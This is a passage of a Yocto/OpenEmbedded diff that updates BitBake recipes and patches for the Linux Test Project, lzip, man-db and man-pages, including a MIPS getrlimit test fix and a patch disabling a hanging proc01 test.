- * Which makes a ton more sense anyway,
- * but we keep the old value on MIPS32,
- * for compatibility:
- */
- #ifndef __mips64
- # define RLIM_INFINITY 0x7fffffffUL
- #endif
-
-Adding conditional statement about mips to fix this.
-
-Signed-off-by: Jan Stancek <jstancek@redhat.com>
-Signed-off-by: Hongzhi.Song <hongzhi.song@windriver.com>
-
-Upstream-Status: Backport
-[https://github.com/linux-test-project/ltp/commit/7a3bca63cd7f059d490b6274f0fdf3247be93fde]
-
-Signed-off-by: Hongzhi.Song <hongzhi.song@windriver.com>
----
- testcases/kernel/syscalls/getrlimit/getrlimit03.c | 8 +++++++-
- 1 file changed, 7 insertions(+), 1 deletion(-)
-
-diff --git a/testcases/kernel/syscalls/getrlimit/getrlimit03.c b/testcases/kernel/syscalls/getrlimit/getrlimit03.c
-index e4d56c4..319bc49 100644
---- a/testcases/kernel/syscalls/getrlimit/getrlimit03.c
-+++ b/testcases/kernel/syscalls/getrlimit/getrlimit03.c
-@@ -26,6 +26,7 @@
-
- #include "tst_test.h"
- #include "lapi/syscalls.h"
-+#include "lapi/abisize.h"
-
- /**
- * Linux provides an "old" getrlimit syscall handler that uses signed long,
-@@ -61,7 +62,12 @@ struct rlimit_ulong {
- unsigned long rlim_cur;
- unsigned long rlim_max;
- };
--const unsigned long RLIM_INFINITY_UL = ULONG_MAX;
-+
-+#if defined(__mips__) && defined(TST_ABI32)
-+ const unsigned long RLIM_INFINITY_UL = 0x7fffffffUL;
-+#else
-+ const unsigned long RLIM_INFINITY_UL = ULONG_MAX;
-+#endif
-
- static int getrlimit_ulong(int resource, struct rlimit_ulong *rlim)
- {
---
-2.7.4
-
diff --git a/meta/recipes-extended/ltp/ltp/disable_hanging_tests.patch b/meta/recipes-extended/ltp/ltp/disable_hanging_tests.patch
new file mode 100644
index 0000000000..f25a692dc0
--- /dev/null
+++ b/meta/recipes-extended/ltp/ltp/disable_hanging_tests.patch
@@ -0,0 +1,27 @@
+This patch disables tests which we've found "hang" on our infrastructure.
+
+proc01:
+https://autobuilder.yoctoproject.org/typhoon/#/builders/96/builds/1748 (arm)
+https://autobuilder.yoctoproject.org/typhoon/#/builders/96/builds/1781 (arm)
+https://autobuilder.yoctoproject.org/typhoon/#/builders/96/builds/2782 (arm)
+(was trying to read /proc/kmsg, looks like a horrible test anyway)
+
+Upstream-Status: Inappropriate [OE Configuration]
+Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
+
+Index: git/runtest/fs
+===================================================================
+--- git.orig/runtest/fs
++++ git/runtest/fs
+@@ -64,11 +64,6 @@ writetest01 writetest
+ #Also run the fs_di (Data Integrity tests)
+ fs_di fs_di -d $TMPDIR
+
+-# Read every file in /proc. Not likely to crash, but does enough
+-# to disturb the kernel. A good kernel latency killer too.
+-# Was not sure why it should reside in runtest/crashme and won't get tested ever
+-proc01 proc01 -m 128
+-
+ read_all_dev read_all -d /dev -p -q -r 3
+ read_all_proc read_all -d /proc -q -r 3
+ read_all_sys read_all -d /sys -q -r 3
diff --git a/meta/recipes-extended/ltp/ltp_20190517.bb b/meta/recipes-extended/ltp/ltp_20190517.bb
deleted file mode 100644
index 5915b1c72a..0000000000
--- a/meta/recipes-extended/ltp/ltp_20190517.bb
+++ /dev/null
@@ -1,123 +0,0 @@
-SUMMARY = "Linux Test Project"
-DESCRIPTION = "The Linux Test Project is a joint project with SGI, IBM, OSDL, and Bull with a goal to deliver test suites to the open source community that validate the reliability, robustness, and stability of Linux. The Linux Test Project is a collection of tools for testing the Linux kernel and related features."
-HOMEPAGE = "https://linux-test-project.github.io/"
-SECTION = "console/utils"
-LICENSE = "GPLv2 & GPLv2+ & LGPLv2+ & LGPLv2.1+ & BSD-2-Clause"
-LIC_FILES_CHKSUM = "\
- file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
- file://testcases/kernel/controllers/freezer/COPYING;md5=0636e73ff0215e8d672dc4c32c317bb3 \
- file://testcases/kernel/controllers/freezer/run_freezer.sh;beginline=5;endline=17;md5=86a61d2c042d59836ffb353a21456498 \
- file://testcases/kernel/hotplug/memory_hotplug/COPYING;md5=e04a2e542b2b8629bf9cd2ba29b0fe41 \
- file://testcases/kernel/hotplug/cpu_hotplug/COPYING;md5=e04a2e542b2b8629bf9cd2ba29b0fe41 \
- file://testcases/open_posix_testsuite/COPYING;md5=48b1c5ec633e3e30ec2cf884ae699947 \
- file://testcases/realtime/COPYING;md5=12f884d2ae1ff87c09e5b7ccc2c4ca7e \
- file://utils/benchmark/kernbench-0.42/COPYING;md5=94d55d512a9ba36caa9b7df079bae19f \
- file://utils/ffsb-6.0-rc2/COPYING;md5=c46082167a314d785d012a244748d803 \
-"
-
-DEPENDS = "attr libaio libcap acl openssl zip-native"
-DEPENDS_append_libc-musl = " fts "
-EXTRA_OEMAKE_append_libc-musl = " LIBC=musl "
-
-# since ltp contains x86-64 assembler which uses the frame-pointer register,
-# set -fomit-frame-pointer x86-64 to handle cases where optimisation
-# is set to -O0 or frame pointers have been enabled by -fno-omit-frame-pointer
-# earlier in CFLAGS, etc.
-CFLAGS_append_x86-64 = " -fomit-frame-pointer"
-
-CFLAGS_append_powerpc64 = " -D__SANE_USERSPACE_TYPES__"
-CFLAGS_append_mipsarchn64 = " -D__SANE_USERSPACE_TYPES__"
-SRCREV = "ac33ef87f0b9dc56533026435be3ea8c67ce86d2"
-
-SRC_URI = "git://github.com/linux-test-project/ltp.git \
- file://0001-build-Add-option-to-select-libc-implementation.patch \
- file://0002-kernel-controllers-Link-with-libfts-explicitly-on-mu.patch \
- file://0003-Check-if-__GLIBC_PREREQ-is-defined-before-using-it.patch \
- file://0004-guard-mallocopt-with-__GLIBC__.patch \
- file://0006-rt_tgsigqueueinfo-disable-test-on-musl.patch \
- file://0007-Fix-test_proc_kill-hanging.patch \
- file://0008-testcases-network-nfsv4-acl-acl1.c-Security-fix-on-s.patch \
- file://0009-open_posix_testsuite-mmap24-2-Relax-condition-a-bit.patch \
- file://0010-shmctl01-don-t-use-hardcoded-index-0-for-SHM_STAT-te.patch \
- file://0011-direct_io-diotest4-drop-MAP_FIXED.patch \
- file://0012-getrlimit03-adjust-a-bit-of-code-to-compatiable-with.patch \
- file://0001-Add-configure-time-check-for-getdents-getdents64-API.patch \
- file://0002-check-for-RES_USE_INET6-during-configure.patch \
- file://0001-syscalls-tgkill03-wait-for-defunct-tid-to-get-detach.patch \
- file://0001-ustat02-Fix-EFAULT-in-32bit-compatibility-mode.patch \
- file://0001-cve-meltdown.c-Fix-kernel-symbol-finding.patch \
- file://0001-testcases-use-python3-everywhere-to-run-python-scrip.patch \
- file://0001-syscall-rt_sigtimedwait01-Fix-wrong-sigset-length-fo.patch \
- file://0001-cve-2017-17052-Avoid-unsafe-exits-in-threads.patch \
- file://0001-overcommit_memory-update-for-mm-fix-false-positive-O.patch \
- "
-
-S = "${WORKDIR}/git"
-
-inherit autotools-brokensep
-
-TARGET_CC_ARCH += "${LDFLAGS}"
-
-export prefix = "/opt/ltp"
-export exec_prefix = "/opt/ltp"
-
-PACKAGECONFIG[numa] = "--with-numa, --without-numa, numactl,"
-EXTRA_AUTORECONF += "-I ${S}/testcases/realtime/m4"
-EXTRA_OECONF = " --with-power-management-testsuite --with-realtime-testsuite --with-open-posix-testsuite "
-# ltp network/rpc test cases ftbfs when libtirpc is found
-EXTRA_OECONF += " --without-tirpc "
-
-do_install(){
- install -d ${D}/opt/ltp/
- oe_runmake DESTDIR=${D} SKIP_IDCHECK=1 install
-
- # fixup not deploy STPfailure_report.pl to avoid confusing about it fails to run
- # as it lacks dependency on some perl moudle such as LWP::Simple
- # And this script previously works as a tool for analyzing failures from LTP
- # runs on the OSDL's Scaleable Test Platform (STP) and it mainly accesses
- # http://khack.osdl.org to retrieve ltp test results run on
- # OSDL's Scaleable Test Platform, but now http://khack.osdl.org unaccessible
- rm -rf ${D}/opt/ltp/bin/STPfailure_report.pl
-
- # Copy POSIX test suite into ${D}/opt/ltp/testcases by manual
- cp -r testcases/open_posix_testsuite ${D}/opt/ltp/testcases
-}
-
-RDEPENDS_${PN} = "\
- acl \
- at \
- attr \
- bash \
- cpio \
- cronie \
- curl \
- e2fsprogs-mke2fs \
- expect \
- file \
- gawk \
- gzip \
- iproute2 \
- ldd \
- libaio \
- logrotate \
- perl \
- python3-core \
- procps \
- quota \
- unzip \
- util-linux \
- which \
- tar \
-"
-
-FILES_${PN} += "/opt/ltp/* /opt/ltp/runtest/* /opt/ltp/scenario_groups/* /opt/ltp/testcases/bin/* /opt/ltp/testcases/bin/*/bin/* /opt/ltp/testscripts/* /opt/ltp/testcases/open_posix_testsuite/* /opt/ltp/testcases/open_posix_testsuite/conformance/* /opt/ltp/testcases/open_posix_testsuite/Documentation/* /opt/ltp/testcases/open_posix_testsuite/functional/* /opt/ltp/testcases/open_posix_testsuite/include/* /opt/ltp/testcases/open_posix_testsuite/scripts/* /opt/ltp/testcases/open_posix_testsuite/stress/* /opt/ltp/testcases/open_posix_testsuite/tools/* /opt/ltp/testcases/data/nm01/lib.a /opt/ltp/lib/libmem.a"
-
-# Avoid stripping some generated binaries otherwise some of the ltp tests such as ldd01 & nm01 fail
-INHIBIT_PACKAGE_STRIP_FILES = "/opt/ltp/testcases/bin/nm01 /opt/ltp/testcases/bin/ldd01"
-INSANE_SKIP_${PN} += "already-stripped staticdev"
-
-# Avoid file dependency scans, as LTP checks for things that may or may not
-# exist on the running system. For instance it has specific checks for
-# csh and ksh which are not typically part of OpenEmbedded systems (but
-# can be added via additional layers.)
-SKIP_FILEDEPS_${PN} = '1'
diff --git a/meta/recipes-extended/ltp/ltp_20220121.bb b/meta/recipes-extended/ltp/ltp_20220121.bb
new file mode 100644
index 0000000000..8a13dcf9d0
--- /dev/null
+++ b/meta/recipes-extended/ltp/ltp_20220121.bb
@@ -0,0 +1,138 @@
+SUMMARY = "Linux Test Project"
+DESCRIPTION = "The Linux Test Project is a joint project with SGI, IBM, OSDL, and Bull with a goal to deliver test suites to the open source community that validate the reliability, robustness, and stability of Linux. The Linux Test Project is a collection of tools for testing the Linux kernel and related features."
+HOMEPAGE = "https://linux-test-project.github.io/"
+SECTION = "console/utils"
+LICENSE = "GPL-2.0-only & GPL-2.0-or-later & LGPL-2.0-or-later & LGPL-2.1-or-later & BSD-2-Clause"
+LIC_FILES_CHKSUM = "\
+ file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
+ file://testcases/open_posix_testsuite/COPYING;md5=48b1c5ec633e3e30ec2cf884ae699947 \
+ file://testcases/network/can/filter-tests/COPYING;md5=5b155ea7d7f86eae8e8832955d8b70bc \
+"
+
+DEPENDS = "attr libaio libcap acl openssl zip-native"
+DEPENDS:append:libc-musl = " fts "
+EXTRA_OEMAKE:append:libc-musl = " LIBC=musl "
+EXTRA_OECONF:append:libc-musl = " LIBS=-lfts "
+
+# since ltp contains x86-64 assembler which uses the frame-pointer register,
+# set -fomit-frame-pointer x86-64 to handle cases where optimisation
+# is set to -O0 or frame pointers have been enabled by -fno-omit-frame-pointer
+# earlier in CFLAGS, etc.
+CFLAGS:append:x86-64 = " -fomit-frame-pointer"
+
+CFLAGS:append:powerpc64 = " -D__SANE_USERSPACE_TYPES__"
+CFLAGS:append:mipsarchn64 = " -D__SANE_USERSPACE_TYPES__"
+SRCREV = "b0561ad8d9ee9fe1244b5385e941eb65a21e91a1"
+
+SRC_URI = "git://github.com/linux-test-project/ltp.git;branch=master;protocol=https \
+ file://0001-Remove-OOM-tests-from-runtest-mm.patch \
+ file://0001-metadata-parse.sh-sort-filelist-for-reproducibility.patch \
+ file://disable_hanging_tests.patch \
+ "
+
+S = "${WORKDIR}/git"
+
+inherit autotools-brokensep pkgconfig
+
+TARGET_CC_ARCH += "${LDFLAGS}"
+
+export prefix = "/opt/${PN}"
+export exec_prefix = "/opt/${PN}"
+
+PACKAGECONFIG[numa] = "--with-numa, --without-numa, numactl,"
+EXTRA_AUTORECONF += "-I ${S}/testcases/realtime/m4"
+EXTRA_OECONF = " --with-realtime-testsuite --with-open-posix-testsuite "
+# ltp network/rpc test cases ftbfs when libtirpc is found
+EXTRA_OECONF += " --without-tirpc "
+
+do_compile() {
+ oe_runmake HOSTCC="${CC_FOR_BUILD}" HOST_CFLAGS="${CFLAGS_FOR_BUILD}" HOST_LDFLAGS="${LDFLAGS_FOR_BUILD}"
+}
+
+do_install(){
+ install -d ${D}${prefix}/
+ oe_runmake DESTDIR=${D} SKIP_IDCHECK=1 install include-install
+
+ # fixup not deploy STPfailure_report.pl to avoid confusing about it fails to run
+ # as it lacks dependency on some perl moudle such as LWP::Simple
+ # And this script previously works as a tool for analyzing failures from LTP
+ # runs on the OSDL's Scaleable Test Platform (STP) and it mainly accesses
+ # http://khack.osdl.org to retrieve ltp test results run on
+ # OSDL's Scaleable Test Platform, but now http://khack.osdl.org unaccessible
+ rm -rf ${D}${prefix}/bin/STPfailure_report.pl
+
+ # Copy POSIX test suite into ${D}${prefix}/testcases by manual
+ cp -r testcases/open_posix_testsuite ${D}${prefix}/testcases
+
+ # Makefile were configured in the build system
+ find ${D}${prefix} -name Makefile | xargs -n 1 sed -i \
+ -e 's@[^ ]*-fdebug-prefix-map=[^ "]*@@g' \
+ -e 's@[^ ]*-fmacro-prefix-map=[^ "]*@@g' \
+ -e 's@[^ ]*-ffile-prefix-map=[^ "]*@@g' \
+ -e 's@[^ ]*--sysroot=[^ "]*@@g'
+
+ # The controllers memcg_stree test seems to cause us hangs and takes 900s
+ # (maybe we expect more regular output?), anyhow, skip it
+ sed -e '/^memcg_stress/d' -i ${D}${prefix}/runtest/controllers
+}
+
+RDEPENDS:${PN} = "\
+ attr \
+ bash \
+ bc \
+ coreutils \
+ cpio \
+ cronie \
+ curl \
+ e2fsprogs \
+ e2fsprogs-mke2fs \
+ expect \
+ file \
+ gawk \
+ gdb \
+ gzip \
+ iproute2 \
+ ldd \
+ libaio \
+ logrotate \
+ net-tools \
+ perl \
+ python3-core \
+ procps \
+ quota \
+ unzip \
+ util-linux \
+ which \
+ tar \
+"
+
+FILES:${PN} += "${prefix}/* ${prefix}/runtest/* ${prefix}/scenario_groups/* ${prefix}/testcases/bin/* ${prefix}/testcases/bin/*/bin/* ${prefix}/testscripts/* ${prefix}/testcases/open_posix_testsuite/* ${prefix}/testcases/open_posix_testsuite/conformance/* ${prefix}/testcases/open_posix_testsuite/Documentation/* ${prefix}/testcases/open_posix_testsuite/functional/* ${prefix}/testcases/open_posix_testsuite/include/* ${prefix}/testcases/open_posix_testsuite/scripts/* ${prefix}/testcases/open_posix_testsuite/stress/* ${prefix}/testcases/open_posix_testsuite/tools/* ${prefix}/testcases/data/nm01/lib.a ${prefix}/lib/libmem.a"
+
+# Avoid stripping some generated binaries otherwise some of the ltp tests such as ldd01 & nm01 fail
+INHIBIT_PACKAGE_STRIP_FILES = "${prefix}/testcases/bin/nm01 ${prefix}/testcases/bin/ldd01"
+INSANE_SKIP:${PN} += "already-stripped staticdev"
+
+remove_broken_musl_sources() {
+ [ "${TCLIBC}" = "musl" ] || return 0
+
+ cd ${S}
+ echo "WARNING: remove unsupported tests (until they're fixed)"
+
+ # sync with upstream
+ # https://github.com/linux-test-project/ltp/blob/master/ci/alpine.sh#L33
+ rm -rfv \
+ testcases/kernel/syscalls/confstr/confstr01.c \
+ testcases/kernel/syscalls/fmtmsg/fmtmsg01.c \
+ testcases/kernel/syscalls/getcontext/getcontext01.c \
+ testcases/kernel/syscalls/rt_tgsigqueueinfo/rt_tgsigqueueinfo01.c \
+ testcases/kernel/syscalls/timer_create/timer_create01.c \
+ testcases/kernel/syscalls/timer_create/timer_create03.c \
+ utils/benchmark/ebizzy-0.3
+}
+do_patch[postfuncs] += "remove_broken_musl_sources"
+
+# Avoid file dependency scans, as LTP checks for things that may or may not
+# exist on the running system. For instance it has specific checks for
+# csh and ksh which are not typically part of OpenEmbedded systems (but
+# can be added via additional layers.)
+SKIP_FILEDEPS:${PN} = '1'
diff --git a/meta/recipes-extended/lzip/lzip_1.21.bb b/meta/recipes-extended/lzip/lzip_1.21.bb
deleted file mode 100644
index bb3d2a6fe3..0000000000
--- a/meta/recipes-extended/lzip/lzip_1.21.bb
+++ /dev/null
@@ -1,41 +0,0 @@
-SUMMARY = "Lossless data compressor based on the LZMA algorithm"
-HOMEPAGE = "http://lzip.nongnu.org/lzip.html"
-SECTION = "console/utils"
-LICENSE = "GPLv2+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=76d6e300ffd8fb9d18bd9b136a9bba13 \
- file://decoder.cc;beginline=3;endline=16;md5=db09fe3f9573f94d0076f7f07959e6e1"
-
-SRC_URI = "${SAVANNAH_GNU_MIRROR}/lzip/lzip-${PV}.tar.gz"
-SRC_URI[md5sum] = "c0061730d017ea593a09308edc547128"
-SRC_URI[sha256sum] = "e48b5039d3164d670791f9c5dbaa832bf2df080cb1fbb4f33aa7b3300b670d8b"
-
-B = "${WORKDIR}/build"
-do_configure[cleandirs] = "${B}"
-
-CONFIGUREOPTS = "\
- '--srcdir=${S}' \
- '--prefix=${prefix}' \
- '--exec-prefix=${exec_prefix}' \
- '--bindir=${bindir}' \
- '--datadir=${datadir}' \
- '--infodir=${infodir}' \
- '--sysconfdir=${sysconfdir}' \
- 'CXX=${CXX}' \
- 'CPPFLAGS=${CPPFLAGS}' \
- 'CXXFLAGS=${CXXFLAGS}' \
- 'LDFLAGS=${LDFLAGS}' \
-"
-
-do_configure () {
- ${S}/configure ${CONFIGUREOPTS}
-}
-
-do_install () {
- oe_runmake 'DESTDIR=${D}' install
- # Info dir listing isn't interesting at this point so remove it if it exists.
- if [ -e "${D}${infodir}/dir" ]; then
- rm -f ${D}${infodir}/dir
- fi
-}
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/lzip/lzip_1.23.bb b/meta/recipes-extended/lzip/lzip_1.23.bb
new file mode 100644
index 0000000000..12e8fa6c58
--- /dev/null
+++ b/meta/recipes-extended/lzip/lzip_1.23.bb
@@ -0,0 +1,42 @@
+SUMMARY = "Lossless data compressor based on the LZMA algorithm"
+HOMEPAGE = "http://lzip.nongnu.org/lzip.html"
+DESCRIPTION = "Lzip is a lossless data compressor with a user interface similar to the one of gzip or bzip2. Lzip uses a simplified form of the Lempel-Ziv-Markov chain-Algorithm (LZMA) stream format, chosen to maximize safety and interoperability."
+SECTION = "console/utils"
+LICENSE = "GPL-2.0-or-later"
+LIC_FILES_CHKSUM = "file://COPYING;md5=76d6e300ffd8fb9d18bd9b136a9bba13 \
+ file://decoder.cc;beginline=3;endline=16;md5=18c279060cd0be128188404b45837f88 \
+ "
+
+SRC_URI = "${SAVANNAH_GNU_MIRROR}/lzip/lzip-${PV}.tar.gz"
+SRC_URI[sha256sum] = "4792c047ddf15ef29d55ba8e68a1a21e0cb7692d87ecdf7204419864582f280d"
+
+B = "${WORKDIR}/build"
+do_configure[cleandirs] = "${B}"
+
+CONFIGUREOPTS = "\
+ '--srcdir=${S}' \
+ '--prefix=${prefix}' \
+ '--exec-prefix=${exec_prefix}' \
+ '--bindir=${bindir}' \
+ '--datadir=${datadir}' \
+ '--infodir=${infodir}' \
+ '--sysconfdir=${sysconfdir}' \
+ 'CXX=${CXX}' \
+ 'CPPFLAGS=${CPPFLAGS}' \
+ 'CXXFLAGS=${CXXFLAGS}' \
+ 'LDFLAGS=${LDFLAGS}' \
+"
+
+do_configure () {
+ ${S}/configure ${CONFIGUREOPTS}
+}
+
+do_install () {
+ oe_runmake 'DESTDIR=${D}' install
+ # Info dir listing isn't interesting at this point so remove it if it exists.
+ if [ -e "${D}${infodir}/dir" ]; then
+ rm -f ${D}${infodir}/dir
+ fi
+}
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/man-db/files/0001-man-Move-local-variable-declaration-to-function-scop.patch b/meta/recipes-extended/man-db/files/0001-man-Move-local-variable-declaration-to-function-scop.patch
new file mode 100644
index 0000000000..dc6966629c
--- /dev/null
+++ b/meta/recipes-extended/man-db/files/0001-man-Move-local-variable-declaration-to-function-scop.patch
@@ -0,0 +1,39 @@
+From 126dfefb5fddf411ad0a1316209e9c1b47abfcd2 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Wed, 9 Feb 2022 17:30:16 -0800
+Subject: [PATCH] man: Move local variable declaration to function scope
+
+There is a clang bug [1] unearthed here, so help clang by re-arranging
+code without changing the logic, until its fixed in clang
+
+[1] https://github.com/llvm/llvm-project/issues/53692
+
+Upstream-Status: Inappropriate [Inappropriate: Clang bug]
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+
+---
+ src/man.c | 4 ++--
+ 1 file changed, 2 insertions(+), 2 deletions(-)
+
+diff --git a/src/man.c b/src/man.c
+index f16fae8..333df03 100644
+--- a/src/man.c
++++ b/src/man.c
+@@ -352,7 +352,7 @@ static void init_html_pager (void)
+ static error_t parse_opt (int key, char *arg, struct argp_state *state)
+ {
+ static bool apropos, whatis; /* retain values between calls */
+-
++ char *s;
+ /* Please keep these keys in the same order as in options above. */
+ switch (key) {
+ case 'C':
+@@ -384,7 +384,7 @@ static error_t parse_opt (int key, char *arg, struct argp_state *state)
+ case OPT_WARNINGS:
+ #ifdef NROFF_WARNINGS
+ {
+- char *s = xstrdup
++ s = xstrdup
+ (arg ? arg : default_roff_warnings);
+ const char *warning;
+
diff --git a/meta/recipes-extended/man-db/man-db_2.10.1.bb b/meta/recipes-extended/man-db/man-db_2.10.1.bb
new file mode 100644
index 0000000000..e8fd47a8f7
--- /dev/null
+++ b/meta/recipes-extended/man-db/man-db_2.10.1.bb
@@ -0,0 +1,68 @@
+SUMMARY = "An implementation of the standard Unix documentation system accessed using the man command"
+HOMEPAGE = "http://man-db.nongnu.org/"
+DESCRIPTION = "man-db is an implementation of the standard Unix documentation system accessed using the man command. It uses a Berkeley DB database in place of the traditional flat-text whatis databases."
+LICENSE = "LGPL-2.1-only & GPL-2.0-only"
+LIC_FILES_CHKSUM = "file://COPYING.LIB;md5=4fbd65380cdd255951079008b364516c \
+ file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263"
+
+SRC_URI = "${SAVANNAH_NONGNU_MIRROR}/man-db/man-db-${PV}.tar.xz \
+ file://99_mandb \
+ file://0001-man-Move-local-variable-declaration-to-function-scop.patch \
+ file://man_db.conf-avoid-multilib-install-file-conflict.patch"
+SRC_URI[sha256sum] = "2ffd8f2e80122fe72e60c740c851e6a3e15c9a7921185eb4752c1c672824bed6"
+
+DEPENDS = "libpipeline gdbm groff-native base-passwd"
+RDEPENDS:${PN} += "base-passwd"
+PACKAGE_WRITE_DEPS += "base-passwd"
+
+# | /usr/src/debug/man-db/2.8.0-r0/man-db-2.8.0/src/whatis.c:939: undefined reference to `_nl_msg_cat_cntr'
+USE_NLS:libc-musl = "no"
+
+inherit gettext pkgconfig autotools systemd
+
+EXTRA_OECONF = "--with-pager=less --with-systemdsystemunitdir=${systemd_system_unitdir}"
+EXTRA_AUTORECONF += "-I ${S}/gl/m4"
+
+PACKAGECONFIG[bzip2] = "--with-bzip2=bzip2,ac_cv_prog_have_bzip2='',bzip2"
+PACKAGECONFIG[gzip] = "--with-gzip=gzip,ac_cv_prog_have_gzip='',gzip"
+PACKAGECONFIG[lzip] = "--with-lzip=lzip,ac_cv_prog_have_lzip='',lzip"
+PACKAGECONFIG[lzma] = "--with-lzma=lzma,ac_cv_prog_have_lzma='',xz"
+PACKAGECONFIG[zstd] = "--with-zstd=zstd,ac_cv_prog_have_zstd='',zstd"
+PACKAGECONFIG[xz] = "--with-xz=xz,ac_cv_prog_have_xz='',xz"
+
+do_install() {
+ autotools_do_install
+
+ if ${@bb.utils.contains('DISTRO_FEATURES', 'sysvinit', 'true', 'false', d)}; then
+ install -d ${D}/etc/default/volatiles
+ install -m 0644 ${WORKDIR}/99_mandb ${D}/etc/default/volatiles
+ fi
+}
+
+do_install:append:libc-musl() {
+ rm -f ${D}${libdir}/charset.alias
+}
+
+FILES:${PN} += "${prefix}/lib/tmpfiles.d"
+
+FILES:${PN}-dev += "${libdir}/man-db/libman.so ${libdir}/${BPN}/libmandb.so"
+
+RDEPENDS:${PN} += "groff"
+RRECOMMENDS:${PN} += "less"
+RPROVIDES:${PN} += " man"
+
+def compress_pkg(d):
+ if bb.utils.contains("INHERIT", "compress_doc", True, False, d):
+ compress = d.getVar("DOC_COMPRESS")
+ if compress == "gz":
+ return "gzip"
+ elif compress == "bz2":
+ return "bzip2"
+ elif compress == "xz":
+ return "xz"
+ return ""
+
+RDEPENDS:${PN} += "${@compress_pkg(d)}"
+
+SYSTEMD_SERVICE:${PN} = "man-db.timer man-db.service"
+SYSTEMD_AUTO_ENABLE ?= "disable"
diff --git a/meta/recipes-extended/man-db/man-db_2.8.7.bb b/meta/recipes-extended/man-db/man-db_2.8.7.bb
deleted file mode 100644
index 083b2374aa..0000000000
--- a/meta/recipes-extended/man-db/man-db_2.8.7.bb
+++ /dev/null
@@ -1,59 +0,0 @@
-SUMMARY = "An implementation of the standard Unix documentation system accessed using the man command"
-HOMEPAGE = "http://man-db.nongnu.org/"
-LICENSE = "LGPLv2.1 & GPLv2"
-LIC_FILES_CHKSUM = "file://docs/COPYING.LIB;md5=a6f89e2100d9b6cdffcea4f398e37343 \
- file://docs/COPYING;md5=eb723b61539feef013de476e68b5c50a"
-
-SRC_URI = "${SAVANNAH_NONGNU_MIRROR}/man-db/man-db-${PV}.tar.xz \
- file://99_mandb \
- file://man_db.conf-avoid-multilib-install-file-conflict.patch"
-SRC_URI[md5sum] = "ec0b23c8314a1654c4d059b2c18ce43d"
-SRC_URI[sha256sum] = "b9cd5bb996305d08bfe9e1114edc30b4c97be807093b88af8033ed1cf9beb326"
-
-DEPENDS = "libpipeline gdbm groff-native base-passwd"
-RDEPENDS_${PN} += "base-passwd"
-
-# | /usr/src/debug/man-db/2.8.0-r0/man-db-2.8.0/src/whatis.c:939: undefined reference to `_nl_msg_cat_cntr'
-USE_NLS_libc-musl = "no"
-
-inherit gettext pkgconfig autotools systemd
-
-EXTRA_OECONF = "--with-pager=less --with-systemdsystemunitdir=${systemd_unitdir}/system"
-EXTRA_AUTORECONF += "-I ${S}/gl/m4"
-
-do_install() {
- autotools_do_install
-
- if ${@bb.utils.contains('DISTRO_FEATURES', 'sysvinit', 'true', 'false', d)}; then
- install -d ${D}/etc/default/volatiles
- install -m 0644 ${WORKDIR}/99_mandb ${D}/etc/default/volatiles
- fi
-}
-
-do_install_append_libc-musl() {
- rm -f ${D}${libdir}/charset.alias
-}
-
-FILES_${PN} += "${prefix}/lib/tmpfiles.d"
-
-FILES_${PN}-dev += "${libdir}/man-db/libman.so ${libdir}/${BPN}/libmandb.so"
-
-RDEPENDS_${PN} += "groff"
-RRECOMMENDS_${PN} += "less"
-RPROVIDES_${PN} += " man"
-
-def compress_pkg(d):
- if bb.utils.contains("INHERIT", "compress_doc", True, False, d):
- compress = d.getVar("DOC_COMPRESS")
- if compress == "gz":
- return "gzip"
- elif compress == "bz2":
- return "bzip2"
- elif compress == "xz":
- return "xz"
- return ""
-
-RDEPENDS_${PN} += "${@compress_pkg(d)}"
-
-SYSTEMD_SERVICE_${PN} = "man-db.timer man-db.service"
-SYSTEMD_AUTO_ENABLE ?= "disable"
diff --git a/meta/recipes-extended/man-pages/man-pages_5.01.bb b/meta/recipes-extended/man-pages/man-pages_5.01.bb
deleted file mode 100644
index 28525f4ba7..0000000000
--- a/meta/recipes-extended/man-pages/man-pages_5.01.bb
+++ /dev/null
@@ -1,37 +0,0 @@
-SUMMARY = "Linux man-pages"
-DESCRIPTION = "The Linux man-pages project documents the Linux kernel and C library interfaces that are employed by user programs"
-SECTION = "console/utils"
-HOMEPAGE = "http://www.kernel.org/pub/linux/docs/man-pages"
-LICENSE = "GPLv2+"
-
-LIC_FILES_CHKSUM = "file://README;md5=794f701617cc03fe50c53257660d8ec4"
-SRC_URI = "${KERNELORG_MIRROR}/linux/docs/${BPN}/Archive/${BP}.tar.gz"
-
-SRC_URI[md5sum] = "38abead776a506109e128ab96bcbbe58"
-SRC_URI[sha256sum] = "070bef794c6826b3fb3965d1a2efdb46c25cb37c06c715987f88a50906cd5b6f"
-
-inherit manpages
-
-MAN_PKG = "${PN}"
-
-PACKAGECONFIG ??= ""
-PACKAGECONFIG[manpages] = ""
-
-do_configure[noexec] = "1"
-do_compile[noexec] = "1"
-
-do_install() {
- oe_runmake install DESTDIR=${D}
-}
-
-# Only deliveres man-pages so FILES_${PN} gets everything
-FILES_${PN}-doc = ""
-FILES_${PN} = "${mandir}/*"
-
-inherit update-alternatives
-
-ALTERNATIVE_PRIORITY = "100"
-ALTERNATIVE_${PN} = "passwd.5 getspnam.3 crypt.3"
-ALTERNATIVE_LINK_NAME[passwd.5] = "${mandir}/man5/passwd.5"
-ALTERNATIVE_LINK_NAME[getspnam.3] = "${mandir}/man3/getspnam.3"
-ALTERNATIVE_LINK_NAME[crypt.3] = "${mandir}/man3/crypt.3"
diff --git a/meta/recipes-extended/man-pages/man-pages_5.13.bb b/meta/recipes-extended/man-pages/man-pages_5.13.bb
new file mode 100644
index 0000000000..c0198b77be
--- /dev/null
+++ b/meta/recipes-extended/man-pages/man-pages_5.13.bb
@@ -0,0 +1,36 @@
+SUMMARY = "Linux man-pages"
+DESCRIPTION = "The Linux man-pages project documents the Linux kernel and C library interfaces that are employed by user programs"
+SECTION = "console/utils"
+HOMEPAGE = "http://www.kernel.org/pub/linux/docs/man-pages"
+LICENSE = "GPL-2.0-or-later"
+
+LIC_FILES_CHKSUM = "file://README;md5=92cd5ee2e0b35d782817e7e277b6ce4b"
